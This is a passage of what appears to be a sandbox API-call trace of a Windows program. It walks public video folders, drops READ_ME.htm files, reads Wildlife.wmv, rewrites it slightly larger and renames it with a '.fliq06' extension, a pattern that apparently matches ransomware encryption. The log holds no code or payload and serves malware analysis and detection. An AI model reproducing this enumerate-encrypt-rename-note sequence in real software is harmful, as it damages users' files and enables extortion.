ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.632] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.632] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0165.633] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0165.633] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0165.634] SetErrorMode (uMode=0x0) returned 0x1 [0165.634] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media", lpFilePart=0x0) returned 0x28 [0165.634] SetErrorMode (uMode=0x1) returned 0x0 [0165.634] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*" (normalized: "c:\\users\\public\\recorded tv\\sample media\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0165.634] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.635] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.635] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0165.635] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0165.635] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0165.635] SetErrorMode (uMode=0x0) returned 0x1 [0165.635] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\Sample Media\\READ_ME.htm", lpFilePart=0x0) returned 0x34 [0165.636] SetErrorMode (uMode=0x1) returned 0x0 [0165.636] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\READ_ME.htm" (normalized: "c:\\users\\public\\recorded tv\\sample media\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0165.636] GetFileType (hFile=0x1d0) returned 0x1 [0165.636] SetErrorMode (uMode=0x0) returned 0x1 [0165.636] GetFileType (hFile=0x1d0) returned 0x1 [0165.636] WriteFile (in: hFile=0x1d0, lpBuffer=0x2822f38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2822f38*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0165.638] CloseHandle (hObject=0x1d0) returned 1 [0165.638] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Recorded TV\\READ_ME.htm", lpFilePart=0x0) returned 0x27 [0165.638] SetErrorMode (uMode=0x1) returned 0x0 [0165.638] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\READ_ME.htm" (normalized: "c:\\users\\public\\recorded tv\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0165.639] GetFileType (hFile=0x1d0) returned 0x1 [0165.639] SetErrorMode (uMode=0x0) returned 0x1 [0165.639] GetFileType (hFile=0x1d0) returned 0x1 [0165.639] WriteFile (in: hFile=0x1d0, lpBuffer=0x2827498*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2827498*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0165.640] CloseHandle (hObject=0x1d0) returned 1 [0165.640] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0165.641] SetErrorMode (uMode=0x1) returned 0x0 [0165.641] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*" (normalized: "c:\\users\\public\\videos\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bde0880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bde0880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0165.641] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bde0880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bde0880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.641] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.641] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bde0880, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x5bde0880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5be069e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0165.641] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0165.641] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0165.642] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0165.642] SetErrorMode (uMode=0x0) returned 0x1 [0165.642] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos", lpFilePart=0x0) returned 0x16 [0165.642] SetErrorMode (uMode=0x1) returned 0x0 [0165.642] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*" (normalized: "c:\\users\\public\\videos\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bde0880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bde0880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0165.643] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bde0880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bde0880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.643] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.643] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bde0880, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x5bde0880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5be069e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0165.643] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0165.643] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0165.643] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0165.643] SetErrorMode (uMode=0x0) returned 0x1 [0165.644] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0165.644] SetErrorMode (uMode=0x1) returned 0x0 [0165.644] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*" (normalized: "c:\\users\\public\\videos\\sample videos\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0165.644] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.644] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0165.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0165.648] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0165.649] SetErrorMode (uMode=0x0) returned 0x1 [0165.649] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos", lpFilePart=0x0) returned 0x24 [0165.649] SetErrorMode (uMode=0x1) returned 0x0 [0165.650] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*" (normalized: "c:\\users\\public\\videos\\sample videos\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0165.650] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.650] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0165.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0165.651] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0165.651] SetErrorMode (uMode=0x0) returned 0x1 [0165.651] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0165.651] SetErrorMode (uMode=0x1) returned 0x0 [0165.652] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0165.652] GetFileType (hFile=0x1d0) returned 0x1 [0165.652] SetErrorMode (uMode=0x0) returned 0x1 [0165.652] GetFileType (hFile=0x1d0) returned 0x1 [0165.652] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x1907b8a [0165.658] ReadFile (in: hFile=0x1d0, lpBuffer=0x12cbb8b8, nNumberOfBytesToRead=0x1907b8a, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x12cbb8b8*, lpNumberOfBytesRead=0x21d418*=0x1907b8a, lpOverlapped=0x0) returned 1 [0166.465] CloseHandle (hObject=0x1d0) returned 1 [0168.650] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0168.650] SetErrorMode (uMode=0x1) returned 0x0 [0168.650] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0168.653] GetFileType (hFile=0x1d0) returned 0x1 [0168.654] SetErrorMode (uMode=0x0) returned 0x1 [0168.654] GetFileType (hFile=0x1d0) returned 0x1 [0168.654] WriteFile (in: hFile=0x1d0, lpBuffer=0x145c3460*, nNumberOfBytesToWrite=0x1907b90, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x145c3460*, lpNumberOfBytesWritten=0x21d498*=0x1907b90, lpOverlapped=0x0) returned 1 [0170.245] CloseHandle (hObject=0x1d0) returned 1 [0170.724] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", lpFilePart=0x0) returned 0x31 [0170.724] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.fliq06", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.fliq06", lpFilePart=0x0) returned 0x38 [0170.724] SetErrorMode (uMode=0x1) returned 0x0 [0170.724] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x605e2200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1907b90)) returned 1 [0170.724] SetErrorMode (uMode=0x0) returned 0x1 [0170.725] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.fliq06" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.fliq06")) returned 1 [0170.726] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Videos\\Sample Videos\\READ_ME.htm", lpFilePart=0x0) returned 0x30 [0170.726] SetErrorMode (uMode=0x1) returned 0x0 [0170.726] CreateFileW 